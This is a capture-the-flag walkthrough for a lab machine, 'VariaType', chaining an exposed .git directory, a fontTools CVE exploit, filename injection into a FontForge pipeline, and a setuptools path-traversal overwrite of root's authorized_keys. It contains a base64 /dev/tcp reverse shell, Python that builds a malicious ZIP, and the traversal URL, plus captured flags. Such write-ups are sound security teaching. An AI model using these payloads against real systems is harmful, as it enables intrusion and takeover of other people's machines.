Introduction #
VariaType is a Linux machine themed around digital typography. The path starts with classic web recon: a virtual-host redirect leads to a portal subdomain that carelessly exposes its .git directory. From there the public site’s variable-font generator falls to a fontTools arbitrary-write vulnerability (CVE-2025-66034) granting a www-data shell. Lateral movement comes from a root-run FontForge pipeline that interpolates uploaded filenames straight into a script. Finally, root is reached through a sudo-allowed plugin installer whose setuptools downloader can be tricked with a URL-encoded absolute path into overwriting /root/.ssh/authorized_keys.
nmap #
nmap finds two open ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.4.36
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
| 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open http syn-ack ttl 63 nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two services: SSH and an nginx web server.
Add variatype.htb to /etc/hosts
Website - TCP 80 #
The website offers some functionality:

There is an upload form:

A login:

and some general info about the workingsof the website:

That will be useful later.
Directory brute-force #
└─$ gobuster dir -u http://variatype.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://variatype.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/services (Status: 200) [Size: 3339]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================
Only a single marketing page. The main vhost is essentially a dead end, so the next logical move is to look for other vhosts behind the same nginx.
Subdomain enum #
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://variatype.htb/ -H 'Host: FUZZ.variatype.htb' -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://variatype.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.variatype.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 70ms]
Portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 54ms]
PORTAL [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 70ms]
:: Progress: [220561/220561] :: Job [1/1] :: 536 req/sec :: Duration: [0:04:58] :: Errors: 0 ::
There is one hit at portal.variatype.htb, add it to hosts as well.
Re-enumerate the new vhost #
└─$ gobuster dir -u http://portal.variatype.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://portal.variatype.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]
/.git/HEAD (Status: 200) [Size: 23]
/.git/index (Status: 200) [Size: 137]
/.git/config (Status: 200) [Size: 143]
/.git/logs/ (Status: 403) [Size: 153]
/files (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
/index.php (Status: 200) [Size: 2494]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================
The portal exposes its .git directory over HTTP.
This is a common deployment mistake: someone git cloned or git initd inside the web root and the .git folder got served as static content.
With read access to .git, the entire repository history can be reconstructed.
Dump the repository #
I can dump the git, but it was not necessary for this machine.
└─$ git-dumper http://portal.variatype.htb/.git/ ./variatype
Initial Foothold - fontTools varLib (CVE-2025-66034)
#
The site advertises a variable font generator tool.
Variable fonts are built from multiple source masters described by a .designspace file, and the standard tool for this is fontTools.varLib.
Searching for known issues in that library results in CVE-2025-66034:
References:
The font-generation endpoint feeds a user-supplied .designspace straight into varLib, so I control exactly the input the CVE describes. The vulnerability lets me write an arbitrary file into the web root.
Running the exploit #
Using a public PoC for the CVE:
└─$ python varlib-cve-2025-66034/varlib_cve_2025_66034.py --ip 10.10.14.176 --port 4444 --path /var/www/portal.variatype.htb/public --url http://variatype.htb/tools/variable-font-generator/process --trigger http://portal.variatype.htb --no-listen
--ip/--port- the attacker host and port for the reverse shell callback.--path- the server-side directory the file write lands in. The arbitrary-write writes the payload there.--url- the vulnerable processing endpoint that ingests the.designspace.--trigger- the URL hit to execute the dropped payload.--no-listen- tells the script not to open its own listener.
Catch the shell on awaiting listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.4.69] 38392
bash: cannot set terminal process group (3562): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@variatype:~/portal.variatype.htb/public$
Shell as Steve #
Enumerate what else exists and who owns it:
www-data@variatype:~/portal.variatype.htb/public$ ls /home
ls /home
steve
www-data@variatype:~/portal.variatype.htb/public$ find / -user steve 2>/dev/null
<ariatype.htb/public$ find / -user steve 2>/dev/null
/home/steve
/opt/process_client_submissions.bak
A backup of a processing script owned by steve sits in /opt. Reading it reveals a font-processing pipeline:
www-data@variatype:~/portal.variatype.htb/public$ cat /opt/process_client_submissions.bak
<htb/public$ cat /opt/process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
This script runs as steve (writes to /home/steve/...). It scans the upload directory, and for each font/archive file it builds a FontForge Python one-liner by string-interpolating the filename directly into the script at fontforge.open('$file').
The injection point #
The filename $file is dropped, unescaped, inside single quotes in a Python string that is itself passed via -c. If I can get a filename containing a single quote, I can break out of the Python string literal and inject arbitrary Python (and therefore arbitrary shell, via os.system/etc.).
There are two guards:
-
The
SAFE_NAME_REGEX(^[a-zA-Z0-9._-]+$) - this would reject any filename with quotes, spaces, or shell metacharacters. But it’s applied to the on-disk filename, and there’s a way around it: archive extraction. FontForge can open archives (.zip,.tar, etc.); when it extracts an archive, the inner filenames are processed by FontForge directly and never pass through the bash regex check. So I can smuggle a malicious filename inside a ZIP, while the ZIP itself has a perfectly safe name. -
The glob loop iterates archive extensions including
*.zip, so a.zipupload gets picked up and handed to FontForge, which extracts and recurses into it.
Building the malicious archive #
First, a base64-encoded reverse shell:
└─$ echo "bash -i >& /dev/tcp/10.10.14.176/4445 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNzYvNDQ0NSAwPiYxCg==
Then craft a ZIP whose inner filename is a command-substitution payload:
import zipfile
payload = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNzYvNDQ0NSAwPiYxCg=="
file_name = f"$(echo {payload} | base64 -d | bash).ttf"
with zipfile.ZipFile("exploit.zip", "w") as z:
z.writestr(file_name, "A")
The inner filename is $(echo <b64> | base64 -d | bash).ttf. When FontForge extracts the archive and processes that entry, the filename ends up in a shell context where the $(...) command substitution executes - decoding and running the reverse shell. The outer name exploit.zip satisfies the naming policy, so the archive is accepted into the pipeline.
Delivering and triggering #
From the www-data shell, pull the archive into the watched upload directory:
www-data@variatype:~/portal.variatype.htb/public/files$ wget http://10.10.14.176:8082/exploit.zip
<ic/files$ wget http://10.10.14.176:8082/exploit.zip
--2026-03-19 02:22:02-- http://10.10.14.176:8082/exploit.zip
Connecting to 10.10.14.176:8082... connected.
HTTP request sent, awaiting response... 200 OK
Length: 281 [application/zip]
Saving to: 'exploit.zip'
0K 100% 26.7M=0s
2026-03-19 02:22:02 (26.7 MB/s) - 'exploit.zip' saved [281/281]
www-data@variatype:~/portal.variatype.htb/public/files$ ls
ls
exploit.zip
variabype_pXILq6zSkgg.ttf
When the pipeline next runs (it’s on a schedule), FontForge processes the ZIP and the payload fires:
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.5.165] 58710
bash: cannot set terminal process group (3676): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-3677-1$ cd /home/steve
cd /home/steve
steve@variatype:~$ ls
ls
bin
logs
processed_fonts
quarantine
user.txt
steve@variatype:~$ cat user.txt
cat user.txt
19ce933b15d02256fa0f458e7bb2f111
steve@variatype:~$
I am now steve, and can grab the user flag.
Shell as Root #
As always starting with sudo -l:
steve@variatype:~$ sudo -l
sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
steve@variatype:~$
steve can run a Python script as root with any arguments (the trailing *).
steve@variatype:~$ cat /opt/font-tools/install_validator.py
cat /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()
The intent: download a remote .py plugin into /opt/font-tools/validators/. The “validation” is just a URL scheme check and a count of literal / characters.
This is the crux. Internally setuptools’ PackageIndex.download() derives the local filename from the last path segment of the URL, and it URL-decodes that segment before using it. Simplified, it does roughly:
# egg_info_for_url():
base = urllib.parse.unquote(urlparse(url).path.split('/')[-1])
# _download_url():
filename = os.path.join(tmpdir, base) # tmpdir == PLUGIN_DIR
Two facts combine into the bug:
- The filename comes from the decoded last URL path segment.
os.path.join(base_dir, name)discardsbase_direntirely whennameis absolute:
>>> os.path.join("/opt/font-tools/validators", "/root/.ssh/authorized_keys")
'/root/.ssh/authorized_keys'
Crafting the malicious URL #
URL-encode the slashes (/ → %2f) in the path so that:
- To the script’s guards, the URL has few literal
/(only the ones inhttp://host:port/), socount('/') > 10never trips, andis_valid_urlis happy (valid scheme + netloc). urlparse(...).path.split('/')[-1]returns the single encoded blob%2froot%2f.ssh%2fauthorized_keys.urllib.parse.unquote(...)decodes it to the absolute path/root/.ssh/authorized_keys.os.path.join(PLUGIN_DIR, "/root/.ssh/authorized_keys")→/root/.ssh/authorized_keys.
So the root-running downloader writes whatever our web server returns straight into root’s authorized_keys. Put my generated SSH public key in that response and I get a root login.
The malicious argument:
http://10.10.14.176:8082/%2froot%2f.ssh%2fauthorized_keys
Firing the exploit #
On the target, as steve:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
'http://10.10.14.176:8082/%2froot%2f.ssh%2fauthorized_keys'
[INFO] Attempting to install plugin from: http://10.10.14.176:8082/%2froot%2f.ssh%2fauthorized_keys
[INFO] Downloading ...
[+] Plugin installed successfully.
The root process fetched my public key and wrote it to /root/.ssh/authorized_keys.
Root #
ssh -i id_rsa_ctf root@variatype.htb
root@variatype:~# cat /root/root.txt
bd303e2c85395b568088ebe34fc40984
And that is it.